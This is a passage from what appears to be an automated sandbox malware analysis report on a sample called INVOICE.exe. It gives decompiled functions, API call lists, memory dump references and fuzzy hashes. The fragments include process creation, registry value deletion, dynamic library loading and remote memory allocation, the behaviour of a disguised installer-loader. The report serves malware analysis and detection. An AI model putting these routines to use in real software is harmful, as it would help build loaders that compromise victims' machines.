					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x433eec =  *0x433eec + _t12;
						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x433eec, 0x7530,  *0x433ed4), 0); // executed
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d8feea9b0bd879c8f8267a4ec85e9a32d700cac98845316580bbb569ce856791
Instruction ID: f98c5e72cab4da6dd47fcf147c12dc0649e5852bd482257a86ca63d172a8b8d6
Opcode Fuzzy Hash: d8feea9b0bd879c8f8267a4ec85e9a32d700cac98845316580bbb569ce856791
Instruction Fuzzy Hash: 0B01F4316202209FE7094B389D05B6A3698E710319F14823FF851F65F1EA78DC029B4C

Uniqueness

Uniqueness Score: -1.00%

Function 00402434 Relevance: 3.0, APIs: 2, Instructions: 39
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402434(void* __ebx) {
				void* _t10;
				void* _t14;
				long _t18;
				intOrPtr _t20;
				void* _t22;
				void* _t23;

				_t14 = __ebx;
				_t26 =  *(_t23 - 0x20) - __ebx;
				_t20 =  *((intOrPtr*)(_t23 - 0x2c));
				if( *(_t23 - 0x20) != __ebx) {
					_t18 = E00402E64(_t20, E00402DA6(0x22),  *(_t23 - 0x20) >> 1);
					goto L4;
				} else {
					_t10 = E00402DE6(_t26, 2); // executed
					_t22 = _t10;
					if(_t22 == __ebx) {
						L6:
						 *((intOrPtr*)(_t23 - 4)) = 1;
					} else {
						_t18 = RegDeleteValueW(_t22, E00402DA6(0x33));
						RegCloseKey(_t22);
						L4:
						if(_t18 != _t14) {
							goto L6;
						}
					}
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t23 - 4));
				return 0;
			}

0x00402434
0x00402434
0x00402437
0x0040243a
0x0040247b
0x00000000
0x0040243c
0x0040243e
0x00402443
0x00402447
0x0040292e
0x0040292e
0x0040244d
0x0040245d
0x0040245f
0x0040247d
0x0040247f
0x00000000
0x00402485
0x0040247f
0x00402447
0x00402c2d
0x00402c39

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 00402456
RegCloseKey.ADVAPI32(00000000), ref: 0040245F

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 1ffd97200620b81b13f579f7a6b9042f689ecff3e700d3aee6761a43d8bd64c6
Instruction ID: 30df5d2aec36195d54007c6df5f336708121daf1b93815cec1e8c6dbc8099d71
Opcode Fuzzy Hash: 1ffd97200620b81b13f579f7a6b9042f689ecff3e700d3aee6761a43d8bd64c6
Instruction Fuzzy Hash: 22F0C232A00120EBDB11ABB89B4DAED72A8AF84314F15443BE141B71C0DAFC5D01866D

Uniqueness

Uniqueness Score: -1.00%

Function 00401EDE Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401EFC
EnableWindow.USER32(00000000,00000000), ref: 00401F07

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: fa234a311d5315365d19d83b79d92e578c8214a2500263e11cb90b957d52e03b
Instruction ID: ff95e9915c8c9942b49c08d49a5710ecdabad47c7be9b03b7ba0a01474a23479
Opcode Fuzzy Hash: fa234a311d5315365d19d83b79d92e578c8214a2500263e11cb90b957d52e03b
Instruction Fuzzy Hash: E7E04872908211CFE705EBA4EE495AD77F4EF40325710497FE501F11D1DBB55D00965D

Uniqueness

Uniqueness Score: -1.00%

Function 00405B20 Relevance: 3.0, APIs: 2, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405B20(WCHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x430270->cb = 0x44;
				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x430270,  &_v20); // executed
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405b29
0x00405b49
0x00405b51
0x00405b56
0x00000000
0x00405b5c
0x00405b60

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,00000000,00000000), ref: 00405B49
CloseHandle.KERNEL32(?), ref: 00405B56

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 4cad7792158b69fc064c933527736888f22fedd2346a68a48c9e5725d4d2403f
Instruction ID: 0547baa0b497a95b6ed0e8f273b1969b1ac2c9598ef2001c301bcde660c6e2d6
Opcode Fuzzy Hash: 4cad7792158b69fc064c933527736888f22fedd2346a68a48c9e5725d4d2403f
Instruction Fuzzy Hash: 3EE092B4600209BFEB10AB64AE49F7B7AACEB04704F004565BA51E61A1DB78E8158A78

Uniqueness

Uniqueness Score: -1.00%

Function 00401573 Relevance: 3.0, APIs: 2, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401573(void* __ebx) {
				int _t4;
				void* _t9;
				struct HWND__* _t11;
				struct HWND__* _t12;
				void* _t16;

				_t9 = __ebx;
				_t11 =  *0x433ed0; // 0x10408
				if(_t11 != __ebx) {
					ShowWindow(_t11,  *(_t16 - 0x2c)); // executed
					_t4 =  *(_t16 - 0x30);
				}
				_t12 =  *0x433ee4; // 0x303fa
				if(_t12 != _t9) {
					ShowWindow(_t12, _t4); // executed
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t16 - 4));
				return 0;
			}

0x00401573
0x00401573
0x00401581
0x00401587
0x00401589
0x00401589
0x0040158c
0x00401594
0x0040159c
0x0040159c
0x00402c2d
0x00402c39

APIs

ShowWindow.USER32(00010408,?), ref: 00401587
ShowWindow.USER32(000303FA), ref: 0040159C

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 830d7a4ba9a8f24a7d9b261e52e8913face7f91c13cb0f59137def6ec9c3a180
Instruction ID: a156d7c756385a3c588793d51facb92f34767ed8181f20582b2048d309791e4b
Opcode Fuzzy Hash: 830d7a4ba9a8f24a7d9b261e52e8913face7f91c13cb0f59137def6ec9c3a180
Instruction Fuzzy Hash: 25E04F76B101149BCB05DFA8ED908AEB3A6EB84311314483BE502B3290D675AD048B18

Uniqueness

Uniqueness Score: -1.00%

Function 0040690A Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040690A(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a3e0);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a3e0));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a3e4));
				}
				_t5 = E0040689A(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00406912
0x00406915
0x0040691c
0x00406924
0x00406930
0x00000000
0x00406937
0x00406927
0x0040692e
0x00000000
0x0040693f
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,0040363D,0000000B), ref: 0040691C
GetProcAddress.KERNEL32(00000000,?), ref: 00406937

Part of subcall function 0040689A: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068B1
Part of subcall function 0040689A: wsprintfW.USER32 ref: 004068EC
Part of subcall function 0040689A: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406900

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: c7c26614299f557633109f7ac2ccf4e744cd73af09153470ea8035ac80f12020
Instruction ID: 98bdf7d71c6046f852b78b75196177710d0a141037308efd39b2ac7baa162fea
Opcode Fuzzy Hash: c7c26614299f557633109f7ac2ccf4e744cd73af09153470ea8035ac80f12020
Instruction Fuzzy Hash: 9FE0867390422066D21196745D44D7773A89B99750306443EF946F2090DB38DC31A76E

Uniqueness

Uniqueness Score: -1.00%

Function 0040602D Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040602D(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00406031
0x0040603e
0x00406053
0x00406059

APIs

GetFileAttributesW.KERNELBASE(00000003,004030BD,C:\Users\user\Desktop\INVOICE.exe,80000000,00000003,?,?,?,?,?,0040387D,?), ref: 00406031
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,?,?,0040387D,?), ref: 00406053

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
Instruction ID: 1030bc0f2bf25390ef9c6131bda9d6cfedcac9e68b753c15eded60bf4a570351
Opcode Fuzzy Hash: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
Instruction Fuzzy Hash: 5ED09E31254201AFEF098F20DE16F2E7BA2EB94B04F11552CB786941E0DAB15C199B15

Uniqueness

Uniqueness Score: -1.00%

Function 00406008 Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406008(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe); // executed
				}
				return _t7;
			}

0x0040600d
0x00406013
0x00406018
0x00406021
0x00406021
0x0040602a

APIs

GetFileAttributesW.KERNELBASE(?,?,00405C0D,?,?,00000000,00405DE3,?,?,?,?), ref: 0040600D
SetFileAttributesW.KERNELBASE(?,00000000), ref: 00406021

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: c979a2e86073268fb5c10017c0603d576bb262e7e1663e1e1b2ee048d1a5e24b
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: 34D012725041316FC2102728EF0C89BBF55EF643717014B35F9A5A22F0CB304C638A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405AEB Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405AEB(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405af1
0x00405af9
0x00000000
0x00405aff
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403520,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405AF1
GetLastError.KERNEL32 ref: 00405AFF

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
Instruction ID: 33feed20cbbf131019f18849f7ccc9358209a8d33535326e0157453b6049084a
Opcode Fuzzy Hash: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
Instruction Fuzzy Hash: 1BC04C30204501AED6105B609E48B177AA4DB50741F16843D6146E41E0DA789455EE2D

Uniqueness

Uniqueness Score: -1.00%

Function 02B53C67 Relevance: 1.7, APIs: 1, Instructions: 162COMMON

Download Yara Rule

APIs

EnumWindows.USER32(?,-8122140A), ref: 02B53D2B

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 9ed4fdc0377ca29a49f771f8e900b7192247961beaff70f89555d33ea214b03d
Instruction ID: 92b30566b54c34a2c94117ffa05f868707cdf7d6a853895e6dc6e9c83a9717c9
Opcode Fuzzy Hash: 9ed4fdc0377ca29a49f771f8e900b7192247961beaff70f89555d33ea214b03d
Instruction Fuzzy Hash: E64168761483A9CBC725DEB584C2299BFF4FF63660F2921DEDCA08F292E76080478345

Uniqueness

Uniqueness Score: -1.00%

Function 02B64F89 Relevance: 1.6, APIs: 1, Instructions: 148libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,-8122140A,02B52BAB), ref: 02B655EC

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: adada2bf4856672537b12b6b041ab5e5ae400a28509972933e06e8efa6011ced
Instruction ID: b1f8675b5dd2a1da8feff5cc53aff67b076211f33bbf88479d0697f24aa130e5
Opcode Fuzzy Hash: adada2bf4856672537b12b6b041ab5e5ae400a28509972933e06e8efa6011ced
Instruction Fuzzy Hash: E851467160074ADFCF34AF14C9697FA33A2AFA6750F94415DEC899B245D7388A89CB01

Uniqueness

Uniqueness Score: -1.00%

Function 73E82B98 Relevance: 1.6, APIs: 1, Instructions: 143
memoryCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E73E82B98(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				void* _t28;
				void* _t29;
				void* _t33;
				void* _t37;
				void* _t40;
				void* _t45;
				void* _t49;
				signed int _t56;
				void* _t61;
				void* _t70;
				intOrPtr _t72;
				signed int _t77;
				intOrPtr _t79;
				intOrPtr _t80;
				void* _t81;
				void* _t87;
				void* _t88;
				void* _t89;
				void* _t90;
				intOrPtr _t93;
				intOrPtr _t94;

				if( *0x73e85050 != 0 && E73E82ADB(_a4) == 0) {
					 *0x73e85054 = _t93;
					if( *0x73e8504c != 0) {
						_t93 =  *0x73e8504c;
					} else {
						E73E830C0(E73E82AD5(), __ecx);
						 *0x73e8504c = _t93;
					}
				}
				_t28 = E73E82B09(_a4);
				_t94 = _t93 + 4;
				if(_t28 <= 0) {
					L9:
					_t29 = E73E82AFD();
					_t72 = _a4;
					_t79 =  *0x73e85058;
					 *((intOrPtr*)(_t29 + _t72)) = _t79;
					 *0x73e85058 = _t72;
					E73E82AF7();
					_t33 = VirtualAllocEx(??, ??, ??, ??, ??); // executed
					 *0x73e85034 = _t33;
					 *0x73e85038 = _t79;
					if( *0x73e85050 != 0 && E73E82ADB( *0x73e85058) == 0) {
						 *0x73e8504c = _t94;
						_t94 =  *0x73e85054;
					}
					_t80 =  *0x73e85058;
					_a4 = _t80;
					 *0x73e85058 =  *((intOrPtr*)(E73E82AFD() + _t80));
					_t37 = E73E82AE9(_t80);
					_pop(_t81);
					if(_t37 != 0) {
						_t40 = E73E82B09(_t81);
						if(_t40 > 0) {
							_push(_t40);
							_push(E73E82B14() + _a4 + _v8);
							_push(E73E82B1E());
							if( *0x73e85050 <= 0 || E73E82ADB(_a4) != 0) {
								_pop(_t88);
								_pop(_t45);
								__eflags =  *((intOrPtr*)(_t88 + _t45)) - 2;
								if(__eflags == 0) {
								}
								asm("loop 0xfffffff5");
							} else {
								_pop(_t89);
								_pop(_t49);
								 *0x73e8504c =  *0x73e8504c +  *(_t89 + _t49) * 4;
								asm("loop 0xffffffeb");
							}
						}
					}
					_t107 =  *0x73e85058;
					if( *0x73e85058 == 0) {
						 *0x73e8504c = 0;
					}
					E73E82B42(_t107, _a4,  *0x73e85034,  *0x73e85038);
					return _a4;
				}
				_push(E73E82B14() + _a4);
				_t56 = E73E82B1A();
				_v8 = _t56;
				_t77 = _t28;
				_push(_t68 + _t56 * _t77);
				_t70 = E73E82B26();
				_t87 = E73E82B22();
				_t90 = E73E82B1E();
				_t61 = _t77;
				if( *((intOrPtr*)(_t90 + _t61)) == 2) {
					_push( *((intOrPtr*)(_t70 + _t61)));
				}
				_push( *((intOrPtr*)(_t87 + _t61)));
				asm("loop 0xfffffff1");
				goto L9;
			}

0x73e82ba8
0x73e82bb9
0x73e82bc6
0x73e82bda
0x73e82bc8
0x73e82bcd
0x73e82bd2
0x73e82bd2
0x73e82bc6
0x73e82be3
0x73e82be8
0x73e82bee
0x73e82c32
0x73e82c32
0x73e82c37
0x73e82c3c
0x73e82c42
0x73e82c44
0x73e82c4a
0x73e82c57
0x73e82c59
0x73e82c5e
0x73e82c6b
0x73e82c7e
0x73e82c84
0x73e82c8a
0x73e82c8b
0x73e82c91
0x73e82c9d
0x73e82ca3
0x73e82cab
0x73e82cac
0x73e82caf
0x73e82cba
0x73e82cbc
0x73e82cc8
0x73e82cce
0x73e82cd6
0x73e82d02
0x73e82d03
0x73e82d05
0x73e82d09
0x73e82d09
0x73e82d10
0x73e82ce6
0x73e82ce6
0x73e82ce7
0x73e82cf5
0x73e82cfe
0x73e82cfe
0x73e82cd6
0x73e82cba
0x73e82d12
0x73e82d19
0x73e82d1b
0x73e82d1b
0x73e82d34
0x73e82d42
0x73e82d42
0x73e82bf9
0x73e82bfa
0x73e82bff
0x73e82c03
0x73e82c08
0x73e82c1c
0x73e82c1d
0x73e82c1e
0x73e82c20
0x73e82c25
0x73e82c27
0x73e82c27
0x73e82c2a
0x73e82c30
0x00000000

APIs

VirtualAllocEx.KERNELBASE(00000000), ref: 73E82C57

Memory Dump Source

Source File: 00000000.00000002.1067951591.0000000073E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 73E80000, based on PE: true

Associated: 00000000.00000002.1067875254.0000000073E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068020301.0000000073E84000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068074588.0000000073E86000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73e80000_INVOICE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 29a514f75c4b4799eb08f57599dce4490359c2c4c3696ec0df31df418b80526f
Instruction ID: a84636a8839bf1fb85e2e7ad2d9d34a846dcb321033136d4fd51b5ecc27a20e2
Opcode Fuzzy Hash: 29a514f75c4b4799eb08f57599dce4490359c2c4c3696ec0df31df418b80526f
Instruction Fuzzy Hash: CA41A5BAD0131CDFEB11AFA5D944BD93B7DEB44318F30A426E40DDA190DA359480DB91

Uniqueness

Uniqueness Score: -1.00%

Function 02B593E6 Relevance: 1.6, APIs: 1, Instructions: 140libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,-8122140A,02B52BAB), ref: 02B655EC

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e511e3d7783f4fdf40007ba750862fbe67fdcafec12d76a630dde452ea2eb306
Instruction ID: 02bfd84731e12e71fc09bec774897971e0f0288f812bf02fab60d892f0464999
Opcode Fuzzy Hash: e511e3d7783f4fdf40007ba750862fbe67fdcafec12d76a630dde452ea2eb306
Instruction Fuzzy Hash: 87416B72A0075ADBCF309F248D687EB33639F96790F99421ADC49AB344D3348E49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02B64A1C Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

